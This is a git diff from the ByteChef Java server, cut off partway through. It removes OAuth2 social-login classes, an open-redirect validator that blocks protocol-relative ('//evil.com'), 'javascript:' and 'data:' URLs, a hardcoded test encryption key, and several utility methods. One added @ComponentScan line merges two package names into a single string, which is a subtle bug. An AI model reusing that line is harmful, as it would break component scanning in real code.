diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SocialLoginOAuth2ClientConfiguration.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SocialLoginOAuth2ClientConfiguration.java
deleted file mode 100644
index 3da9cfbd864..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SocialLoginOAuth2ClientConfiguration.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.config;
-
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.config.ApplicationProperties.Security.SocialLogin;
-import com.bytechef.config.ApplicationProperties.Security.SocialLogin.Provider;
-import java.util.ArrayList;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.security.config.oauth2.client.CommonOAuth2Provider;
-import org.springframework.security.oauth2.client.registration.ClientRegistration;
-import org.springframework.security.oauth2.client.registration.ClientRegistrationRepository;
-import org.springframework.security.oauth2.client.registration.InMemoryClientRegistrationRepository;
-import org.springframework.util.StringUtils;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.security.social-login", name = "enabled", havingValue = "true")
-class SocialLoginOAuth2ClientConfiguration {
-
-    @Bean
-    ClientRegistrationRepository clientRegistrationRepository(ApplicationProperties applicationProperties) {
-        SocialLogin socialLogin = applicationProperties.getSecurity()
-            .getSocialLogin();
-
-        List<ClientRegistration> clientRegistrations = new ArrayList<>();
-
-        Provider google = socialLogin.getGoogle();
-
-        if (google != null && StringUtils.hasText(google.getClientId())) {
-            clientRegistrations.add(
-                CommonOAuth2Provider.GOOGLE.getBuilder("google")
-                    .clientId(google.getClientId())
-                    .clientSecret(google.getClientSecret())
-                    .scope("openid", "profile", "email")
-                    .build());
-        }
-
-        Provider github = socialLogin.getGithub();
-
-        if (github != null && StringUtils.hasText(github.getClientId())) {
-            clientRegistrations.add(
-                CommonOAuth2Provider.GITHUB.getBuilder("github")
-                    .clientId(github.getClientId())
-                    .clientSecret(github.getClientSecret())
-                    .scope("user:email", "read:user")
-                    .userInfoUri("https://api.github.com/user")
-                    .build());
-        }
-
-        return new InMemoryClientRegistrationRepository(clientRegistrations);
-    }
-}
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/CustomOAuth2User.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/CustomOAuth2User.java
deleted file mode 100644
index 5cb40bd8476..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/CustomOAuth2User.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.web.oauth2;
-
-import java.util.Collection;
-import java.util.List;
-import java.util.Map;
-import org.springframework.security.core.GrantedAuthority;
-import org.springframework.security.oauth2.core.user.OAuth2User;
-
-/**
- * Custom OAuth2User implementation that wraps the internal ByteChef user login. The {@link #getName()} method returns
- * the internal user's login, which is critical for remember-me compatibility — the existing {@code UserDetailsService}
- * resolves users by login.
- *
- * @author Ivica Cardic
- */
-public class CustomOAuth2User implements OAuth2User {
-
-    private final Map<String, Object> attributes;
-    private final Collection<? extends GrantedAuthority> authorities;
-    private final String login;
-
-    public CustomOAuth2User(
-        String login, Collection<? extends GrantedAuthority> authorities, Map<String, Object> attributes) {
-
-        this.login = login;
-        this.authorities = List.copyOf(authorities);
-        this.attributes = Map.copyOf(attributes);
-    }
-
-    @Override
-    public Map<String, Object> getAttributes() {
-        return attributes;
-    }
-
-    @Override
-    public Collection<? extends GrantedAuthority> getAuthorities() {
-        return authorities;
-    }
-
-    @Override
-    public String getName() {
-        return login;
-    }
-}
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/CustomOAuth2UserService.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/CustomOAuth2UserService.java
deleted file mode 100644
index ff5172d53f6..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/CustomOAuth2UserService.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.web.oauth2;
-
-import com.bytechef.platform.user.domain.Authority;
-import com.bytechef.platform.user.domain.User;
-import com.bytechef.platform.user.service.AuthorityService;
-import com.bytechef.platform.user.service.UserService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Duration;
-import java.util.List;
-import java.util.Locale;
-import java.util.Map;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.core.ParameterizedTypeReference;
-import org.springframework.http.HttpEntity;
-import org.springframework.http.HttpHeaders;
-import org.springframework.http.HttpMethod;
-import org.springframework.http.ResponseEntity;
-import org.springframework.http.client.SimpleClientHttpRequestFactory;
-import org.springframework.security.core.authority.SimpleGrantedAuthority;
-import org.springframework.security.oauth2.client.userinfo.DefaultOAuth2UserService;
-import org.springframework.security.oauth2.client.userinfo.OAuth2UserRequest;
-import org.springframework.security.oauth2.core.OAuth2AuthenticationException;
-import org.springframework.security.oauth2.core.user.OAuth2User;
-import org.springframework.stereotype.Service;
-import org.springframework.web.client.RestClientException;
-import org.springframework.web.client.RestTemplate;
-
-/**
- * Custom OAuth2UserService that integrates OAuth2 provider users with the internal ByteChef user model. On each OAuth2
- * login, this service finds or creates the corresponding internal user and returns a {@link CustomOAuth2User} whose
- * {@code getName()} returns the internal login — required for remember-me compatibility.
- *
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnProperty(prefix = "bytechef.security.social-login", name = "enabled", havingValue = "true")
-public class CustomOAuth2UserService extends DefaultOAuth2UserService {
-
-    private static final String GITHUB_EMAILS_URL = "https://api.github.com/user/emails";
-
-    private final AuthorityService authorityService;
-    private final RestTemplate restTemplate;
-    private final UserService userService;
-
-    @SuppressFBWarnings("EI")
-    public CustomOAuth2UserService(AuthorityService authorityService, UserService userService) {
-        this.authorityService = authorityService;
-
-        SimpleClientHttpRequestFactory requestFactory = new SimpleClientHttpRequestFactory();
-
-        requestFactory.setConnectTimeout(Duration.ofSeconds(5));
-        requestFactory.setReadTimeout(Duration.ofSeconds(5));
-
-        this.restTemplate = new RestTemplate(requestFactory);
-        this.userService = userService;
-    }
-
-    @Override
-    public OAuth2User loadUser(OAuth2UserRequest userRequest) throws OAuth2AuthenticationException {
-        OAuth2User oAuth2User = super.loadUser(userRequest);
-
-        String registrationId = userRequest.getClientRegistration()
-            .getRegistrationId()
-            .toUpperCase(Locale.ROOT);
-
-        Map<String, Object> attributes = oAuth2User.getAttributes();
-
-        String email = extractEmail(registrationId, attributes, userRequest);
-        String firstName = extractFirstName(registrationId, attributes);
-        String lastName = extractLastName(registrationId, attributes);
-        String imageUrl = extractImageUrl(registrationId, attributes);
-        String providerId = extractProviderId(registrationId, attributes);
-
-        if (email == null) {
-            throw new OAuth2AuthenticationException("Email not available from OAuth2 provider " + registrationId);
-        }
-
-        User user = userService.findOrCreateSocialUser(
-            email, firstName, lastName, imageUrl, registrationId, providerId);
-
-        List<SimpleGrantedAuthority> grantedAuthorities = user.getAuthorityIds()
-            .stream()
-            .map(authorityId -> authorityService.fetchAuthority(authorityId)
-                .orElseThrow(() -> new OAuth2AuthenticationException(
-                    "Unknown authority id " + authorityId + " for user " + user.getLogin())))
-            .map(Authority::getName)
-            .map(SimpleGrantedAuthority::new)
-            .toList();
-
-        return new CustomOAuth2User(user.getLogin(), grantedAuthorities, attributes);
-    }
-
-    private String extractEmail(
-        String registrationId, Map<String, Object> attributes, OAuth2UserRequest userRequest) {
-
-        if ("GOOGLE".equals(registrationId)) {
-            return (String) attributes.get("email");
-        }
-
-        if ("GITHUB".equals(registrationId)) {
-            String email = (String) attributes.get("email");
-
-            if (email == null) {
-                email = fetchGitHubPrimaryEmail(userRequest);
-            }
-
-            return email;
-        }
-
-        return (String) attributes.get("email");
-    }
-
-    private String extractFirstName(String registrationId, Map<String, Object> attributes) {
-        if ("GOOGLE".equals(registrationId)) {
-            return (String) attributes.get("given_name");
-        }
-
-        if ("GITHUB".equals(registrationId)) {
-            String name = (String) attributes.get("name");
-
-            if (name != null && name.contains(" ")) {
-                return name.substring(0, name.indexOf(' '));
-            }
-
-            return name;
-        }
-
-        return (String) attributes.get("given_name");
-    }
-
-    private String extractImageUrl(String registrationId, Map<String, Object> attributes) {
-        if ("GOOGLE".equals(registrationId)) {
-            return (String) attributes.get("picture");
-        }
-
-        if ("GITHUB".equals(registrationId)) {
-            return (String) attributes.get("avatar_url");
-        }
-
-        return (String) attributes.get("picture");
-    }
-
-    private String extractLastName(String registrationId, Map<String, Object> attributes) {
-        if ("GOOGLE".equals(registrationId)) {
-            return (String) attributes.get("family_name");
-        }
-
-        if ("GITHUB".equals(registrationId)) {
-            String name = (String) attributes.get("name");
-
-            if (name != null && name.contains(" ")) {
-                return name.substring(name.indexOf(' ') + 1);
-            }
-
-            return null;
-        }
-
-        return (String) attributes.get("family_name");
-    }
-
-    private String extractProviderId(String registrationId, Map<String, Object> attributes) {
-        if ("GOOGLE".equals(registrationId)) {
-            return (String) attributes.get("sub");
-        }
-
-        if ("GITHUB".equals(registrationId)) {
-            Object githubId = attributes.get("id");
-
-            return githubId != null ? githubId.toString() : null;
-        }
-
-        return (String) attributes.get("sub");
-    }
-
-    private String fetchGitHubPrimaryEmail(OAuth2UserRequest userRequest) {
-        String accessToken = userRequest.getAccessToken()
-            .getTokenValue();
-
-        HttpHeaders headers = new HttpHeaders();
-
-        headers.setBearerAuth(accessToken);
-
-        try {
-            ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
-                GITHUB_EMAILS_URL, HttpMethod.GET, new HttpEntity<>(headers),
-                new ParameterizedTypeReference<>() {});
-
-            List<Map<String, Object>> emails = response.getBody();
-
-            if (emails == null) {
-                return null;
-            }
-
-            for (Map<String, Object> emailEntry : emails) {
-                Boolean primary = (Boolean) emailEntry.get("primary");
-                Boolean verified = (Boolean) emailEntry.get("verified");
-
-                if (Boolean.TRUE.equals(primary) && Boolean.TRUE.equals(verified)) {
-                    return (String) emailEntry.get("email");
-                }
-            }
-
-            return null;
-        } catch (RestClientException restClientException) {
-            throw new OAuth2AuthenticationException(
-                "Failed to retrieve email from GitHub: " + restClientException.getMessage());
-        }
-    }
-}
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/OAuth2AuthenticationFailureHandler.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/OAuth2AuthenticationFailureHandler.java
deleted file mode 100644
index df8996d43b0..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/OAuth2AuthenticationFailureHandler.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.web.oauth2;
-
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
-import org.springframework.security.core.AuthenticationException;
-import org.springframework.security.web.authentication.AuthenticationFailureHandler;
-
-/**
- * OAuth2 authentication failure handler. Redirects to the login page with an error indicator.
- *
- * @author Ivica Cardic
- */
-public class OAuth2AuthenticationFailureHandler implements AuthenticationFailureHandler {
-
-    @Override
-    public void onAuthenticationFailure(
-        HttpServletRequest request, HttpServletResponse response, AuthenticationException exception)
-        throws IOException {
-
-        response.sendRedirect("/login?error=oauth2");
-    }
-}
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/OAuth2AuthenticationSuccessHandler.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/OAuth2AuthenticationSuccessHandler.java
deleted file mode 100644
index dd094d70304..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/OAuth2AuthenticationSuccessHandler.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.web.oauth2;
-
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
-import org.springframework.security.core.Authentication;
-import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
-import org.springframework.security.web.authentication.RememberMeServices;
-
-/**
- * OAuth2 authentication success handler. Triggers remember-me for persistent sessions and redirects to the frontend
- * OAuth2 redirect page.
- *
- * @author Ivica Cardic
- */
-public class OAuth2AuthenticationSuccessHandler implements AuthenticationSuccessHandler {
-
-    private final RememberMeServices rememberMeServices;
-
-    public OAuth2AuthenticationSuccessHandler(RememberMeServices rememberMeServices) {
-        this.rememberMeServices = rememberMeServices;
-    }
-
-    @Override
-    public void onAuthenticationSuccess(
-        HttpServletRequest request, HttpServletResponse response, Authentication authentication)
-        throws IOException {
-
-        rememberMeServices.loginSuccess(request, response, authentication);
-
-        response.sendRedirect("/oauth2/redirect");
-    }
-}
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/SingleTenantOAuth2LoginCustomizer.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/SingleTenantOAuth2LoginCustomizer.java
deleted file mode 100644
index 3eb560e79c9..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/web/oauth2/SingleTenantOAuth2LoginCustomizer.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.web.oauth2;
-
-import com.bytechef.platform.security.web.config.OAuth2LoginCustomizer;
-import com.bytechef.tenant.annotation.ConditionalOnSingleTenant;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.security.config.annotation.web.builders.HttpSecurity;
-import org.springframework.security.web.authentication.RememberMeServices;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnSingleTenant
-@ConditionalOnProperty(prefix = "bytechef.security.social-login", name = "enabled", havingValue = "true")
-public class SingleTenantOAuth2LoginCustomizer implements OAuth2LoginCustomizer {
-
-    private final CustomOAuth2UserService customOAuth2UserService;
-    private final RememberMeServices rememberMeServices;
-
-    @SuppressFBWarnings("EI")
-    public SingleTenantOAuth2LoginCustomizer(
-        CustomOAuth2UserService customOAuth2UserService, RememberMeServices rememberMeServices) {
-
-        this.customOAuth2UserService = customOAuth2UserService;
-        this.rememberMeServices = rememberMeServices;
-    }
-
-    @Override
-    public void customize(HttpSecurity http) throws Exception {
-        http.oauth2Login(oauth2 -> oauth2
-            .userInfoEndpoint(endpoint -> endpoint.userService(customOAuth2UserService))
-            .successHandler(new OAuth2AuthenticationSuccessHandler(rememberMeServices))
-            .failureHandler(new OAuth2AuthenticationFailureHandler()));
-    }
-}
diff --git a/server/libs/config/security-config/src/test/java/com/bytechef/security/web/rest/filter/SpaWebFilterIntTest.java b/server/libs/config/security-config/src/test/java/com/bytechef/security/web/rest/filter/SpaWebFilterIntTest.java
index 4089dedbfa3..018ddeff0a2 100644
--- a/server/libs/config/security-config/src/test/java/com/bytechef/security/web/rest/filter/SpaWebFilterIntTest.java
+++ b/server/libs/config/security-config/src/test/java/com/bytechef/security/web/rest/filter/SpaWebFilterIntTest.java
@@ -34,7 +34,6 @@
 import org.springframework.boot.test.context.TestConfiguration;
 import org.springframework.boot.webmvc.test.autoconfigure.AutoConfigureMockMvc;
 import org.springframework.context.annotation.Bean;
-import org.springframework.security.crypto.password.PasswordEncoder;
 import org.springframework.security.test.context.support.WithMockUser;
 import org.springframework.security.web.authentication.AuthenticationFailureHandler;
 import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
@@ -61,9 +60,6 @@ public class SpaWebFilterIntTest {
     @MockitoBean
     private AuthenticationSuccessHandler authenticationSuccessHandler;
 
-    @MockitoBean
-    private PasswordEncoder passwordEncoder;
-
     @MockitoBean
     private RememberMeServices rememberMeServices;
 
diff --git a/server/libs/config/tenant-single-security-config/build.gradle.kts b/server/libs/config/tenant-single-security-config/build.gradle.kts
index c9305e60beb..f95cea8fd85 100644
--- a/server/libs/config/tenant-single-security-config/build.gradle.kts
+++ b/server/libs/config/tenant-single-security-config/build.gradle.kts
@@ -10,8 +10,6 @@ dependencies {
     implementation(project(":server:libs:platform:platform-user:platform-user-api"))
 
     testImplementation("org.apache.commons:commons-lang3")
-    testImplementation(project(":server:libs:core:encryption:encryption-api"))
-    testImplementation(project(":server:libs:core:encryption:encryption-impl"))
     testImplementation("org.springframework:spring-context-support")
     testImplementation("org.springframework.boot:spring-boot-starter-cache-test")
     testImplementation("org.springframework.boot:spring-boot-starter-data-jdbc-test")
diff --git a/server/libs/config/tenant-single-security-config/src/test/java/com/bytechef/tenant/single/security/SingleTenantUserDetailsServiceIntTest.java b/server/libs/config/tenant-single-security-config/src/test/java/com/bytechef/tenant/single/security/SingleTenantUserDetailsServiceIntTest.java
index 7b6706e1725..0d915100a8f 100644
--- a/server/libs/config/tenant-single-security-config/src/test/java/com/bytechef/tenant/single/security/SingleTenantUserDetailsServiceIntTest.java
+++ b/server/libs/config/tenant-single-security-config/src/test/java/com/bytechef/tenant/single/security/SingleTenantUserDetailsServiceIntTest.java
@@ -20,7 +20,6 @@
 import static org.assertj.core.api.Assertions.assertThatExceptionOfType;
 
 import com.bytechef.config.ApplicationProperties;
-import com.bytechef.encryption.EncryptionKey;
 import com.bytechef.jdbc.config.AuditingJdbcConfiguration;
 import com.bytechef.liquibase.config.LiquibaseConfiguration;
 import com.bytechef.platform.mail.MailService;
@@ -38,11 +37,8 @@
 import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 import org.springframework.boot.context.properties.EnableConfigurationProperties;
 import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.boot.test.context.TestConfiguration;
 import org.springframework.cache.annotation.EnableCaching;
-import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.ComponentScan;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
 import org.springframework.mail.javamail.JavaMailSender;
 import org.springframework.security.core.userdetails.UserDetails;
 import org.springframework.security.core.userdetails.UserDetailsService;
@@ -55,11 +51,9 @@
 /**
  * @author Ivica Cardic
  */
-@ComponentScan(
-    basePackages = {
-        "com.bytechef.encryption", "com.bytechef.platform.user", "com.bytechef.security",
-        "com.bytechef.tenant.single.security"
-    })
+@ComponentScan({
+    "com.bytechef.platform.user", "com.bytechef.security, com.bytechef.tenant.single.security"
+})
 @EnableAutoConfiguration
 @EnableConfigurationProperties(ApplicationProperties.class)
 @EnableCaching
@@ -70,15 +64,6 @@
 })
 class SingleTenantUserDetailsServiceIntTest {
 
-    @TestConfiguration
-    static class TestConfig extends AbstractJdbcConfiguration {
-
-        @Bean
-        EncryptionKey encryptionKey() {
-            return () -> "tTB1/UBIbYLuCXVi4PPfzA==";
-        }
-    }
-
     private static final String USER_ONE_LOGIN = "test-user-one";
     private static final String USER_ONE_EMAIL = "test-user-one@localhost.com";
     private static final String USER_TWO_LOGIN = "test-user-two";
diff --git a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/EncodingUtils.java b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/EncodingUtils.java
index e7d6c908e3c..de051ca87c1 100644
--- a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/EncodingUtils.java
+++ b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/EncodingUtils.java
@@ -67,11 +67,6 @@ public static String urlEncodeBase64ToString(byte[] token) {
             .encodeToString(token);
     }
 
-    public static String urlEncodeBase64ToString(String string) {
-        return URL_ENCODER.withoutPadding()
-            .encodeToString(string.getBytes(StandardCharsets.UTF_8));
-    }
-
     public static byte[] urlDecodeBase64FromString(String string) {
         return URL_DECODER.decode(string);
     }
diff --git a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/MimeTypeUtils.java b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/MimeTypeUtils.java
index f1a6f8b18f1..d0040431287 100644
--- a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/MimeTypeUtils.java
+++ b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/MimeTypeUtils.java
@@ -472,11 +472,9 @@ public static void registerMimeType(String ext, String mimeType) {
      */
     public static String getMimeType(String ext) {
         String mimeType = lookupMimeType(ext);
-
         if (mimeType == null) {
             mimeType = MIME_APPLICATION_OCTET_STREAM;
         }
-
         return mimeType;
     }
 
diff --git a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/RedirectValidator.java b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/RedirectValidator.java
deleted file mode 100644
index 8328965e149..00000000000
--- a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/RedirectValidator.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.commons.util;
-
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.util.Set;
-import org.jspecify.annotations.Nullable;
-
-/**
- * Utility class for validating redirect URLs to prevent open redirect vulnerabilities. Open redirects can be exploited
- * for phishing attacks by redirecting users to malicious sites.
- *
- * <p>
- * This validator supports:
- * <ul>
- * <li>Relative paths (always allowed)</li>
- * <li>Absolute URLs to the same host (always allowed)</li>
- * <li>Absolute URLs to whitelisted domains (if configured)</li>
- * </ul>
- *
- * @author Ivica Cardic
- */
-public final class RedirectValidator {
-
-    private RedirectValidator() {
-    }
-
-    /**
-     * Validates a redirect URL without a whitelist. Only allows relative paths and same-host redirects.
-     *
-     * @param redirectUrl the URL to validate
-     * @param serverHost  the current server's host for same-host comparison
-     * @return true if the redirect is safe, false otherwise
-     */
-    public static boolean isValidRedirect(String redirectUrl, @Nullable String serverHost) {
-        return isValidRedirect(redirectUrl, serverHost, null);
-    }
-
-    /**
-     * Validates a redirect URL against security constraints.
-     *
-     * @param redirectUrl    the URL to validate
-     * @param serverHost     the current server's host for same-host comparison
-     * @param allowedDomains optional set of allowed external domains (null means no external domains allowed)
-     * @return true if the redirect is safe, false otherwise
-     */
-    public static boolean isValidRedirect(
-        String redirectUrl, @Nullable String serverHost, @Nullable Set<String> allowedDomains) {
-
-        if (redirectUrl == null || redirectUrl.isBlank()) {
-            return false;
-        }
-
-        // Block protocol-relative URLs (//evil.com) which can bypass validation
-        if (redirectUrl.startsWith("//")) {
-            return false;
-        }
-
-        // Block javascript: and data: URLs which could execute code
-        String lowerUrl = redirectUrl.toLowerCase()
-            .trim();
-
-        if (lowerUrl.startsWith("javascript:") || lowerUrl.startsWith("data:")) {
-            return false;
-        }
-
-        // Relative paths are safe
-        if (isRelativePath(redirectUrl)) {
-            return true;
-        }
-
-        // Parse the URL to check the host
-        try {
-            URI uri = new URI(redirectUrl);
-            String host = uri.getHost();
-
-            if (host == null) {
-                // Relative URL without host - safe
-                return true;
-            }
-
-            // Same-host redirect is always allowed
-            if (serverHost != null && host.equalsIgnoreCase(serverHost)) {
-                return true;
-            }
-
-            // Check against whitelist if provided
-            if (allowedDomains != null && !allowedDomains.isEmpty()) {
-                for (String allowedDomain : allowedDomains) {
-                    if (hostMatchesDomain(host, allowedDomain)) {
-                        return true;
-                    }
-                }
-            }
-
-            // External domain not in whitelist
-            return false;
-        } catch (URISyntaxException e) {
-            // Invalid URL - reject
-            return false;
-        }
-    }
-
-    /**
-     * Checks if a URL is a relative path (no scheme or host).
-     */
-    private static boolean isRelativePath(String url) {
-        // Relative paths start with / but not //
-        if (url.startsWith("/") && !url.startsWith("//")) {
-            return true;
-        }
-
-        // Also check for relative paths without leading slash (e.g., "page.html")
-        // but exclude URLs with schemes (http:, https:, etc.)
-        return !url.contains("://") && !url.startsWith("//");
-    }
-
-    /**
-     * Checks if a host matches an allowed domain pattern. Supports:
-     * <ul>
-     * <li>Exact match: "example.com" matches "example.com"</li>
-     * <li>Subdomain match: "example.com" also matches "sub.example.com"</li>
-     * </ul>
-     */
-    private static boolean hostMatchesDomain(String host, String allowedDomain) {
-        String lowerHost = host.toLowerCase();
-        String lowerDomain = allowedDomain.toLowerCase();
-
-        // Exact match
-        if (lowerHost.equals(lowerDomain)) {
-            return true;
-        }
-
-        // Subdomain match (host ends with .domain)
-        return lowerHost.endsWith("." + lowerDomain);
-    }
-
-    /**
-     * Sanitizes a redirect URL by returning it only if valid, or null if unsafe.
-     *
-     * @param redirectUrl    the URL to validate
-     * @param serverHost     the current server's host
-     * @param allowedDomains optional set of allowed external domains
-     * @return the URL if valid, null otherwise
-     */
-    @Nullable
-    public static String sanitizeRedirectUrl(
-        String redirectUrl, @Nullable String serverHost, @Nullable Set<String> allowedDomains) {
-
-        if (isValidRedirect(redirectUrl, serverHost, allowedDomains)) {
-            return redirectUrl;
-        }
-
-        return null;
-    }
-}
diff --git a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/StringUtils.java b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/StringUtils.java
index 7b96f066e5a..d9477d186ea 100644
--- a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/StringUtils.java
+++ b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/StringUtils.java
@@ -16,244 +16,43 @@
 
 package com.bytechef.commons.util;
 
-import java.math.BigDecimal;
-import java.sql.Timestamp;
-import java.time.Instant;
-import java.time.LocalDate;
-import java.time.LocalDateTime;
-import java.time.format.DateTimeFormatter;
-import java.time.format.DateTimeParseException;
-import java.util.Locale;
-
 /**
  * @author Ivica Cardic
  */
 public class StringUtils {
 
-    private static final DateTimeFormatter[] DATE_TIME_FORMATTERS = new DateTimeFormatter[] {
-        DateTimeFormatter.ISO_DATE_TIME,
-        DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"),
-        DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm")
-    };
-
-    private static final DateTimeFormatter[] DATE_FORMATTERS = new DateTimeFormatter[] {
-        DateTimeFormatter.ISO_LOCAL_DATE,
-        DateTimeFormatter.ofPattern("yyyy-M-d")
-    };
-
-    /**
-     * Appends the given string to the provided StringBuilder, ensuring that it is preceded by a newline character if
-     * the StringBuilder is not empty.
-     *
-     * @param string The string to append to the StringBuilder. Cannot be null.
-     * @param sb     The StringBuilder to which the string will be appended. Cannot be null.
-     */
-    public static void appendWithNewline(String string, StringBuilder sb) {
-        if (!sb.isEmpty()) {
-            sb.append("\n");
-        }
-
-        sb.append(string);
-    }
-
-    /**
-     * Parses the given string and attempts to convert it into a Boolean value. The method recognizes several string
-     * representations for true and false: - For true: "true", "t", "yes", "y", and "1" (case insensitive). - For false:
-     * "false", "f", "no", "n", and "0" (case insensitive). If the input string does not match any of these
